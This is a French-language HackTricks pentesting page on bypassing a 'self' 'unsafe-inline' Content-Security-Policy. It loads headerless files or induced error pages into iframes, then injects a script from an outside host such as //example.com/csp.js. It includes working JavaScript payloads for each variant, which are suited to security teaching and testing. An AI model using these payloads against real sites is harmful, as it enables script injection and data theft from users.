hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

59 lines
2.6 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
Une configuration telle que :
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple : `eval, setTimeout, setInterval` seront tous bloqués en raison du paramètre `unsafe-eval`.
Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, en particulier, JS.
### Via Texte & Images
Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si un fichier image ou texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en tant que HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles :
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### Via Erreurs
De même, les réponses d'erreur, comme les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Des erreurs peuvent être induites pour se charger dans une iframe, permettant les actions suivantes :
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)
// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit :
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## Références
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}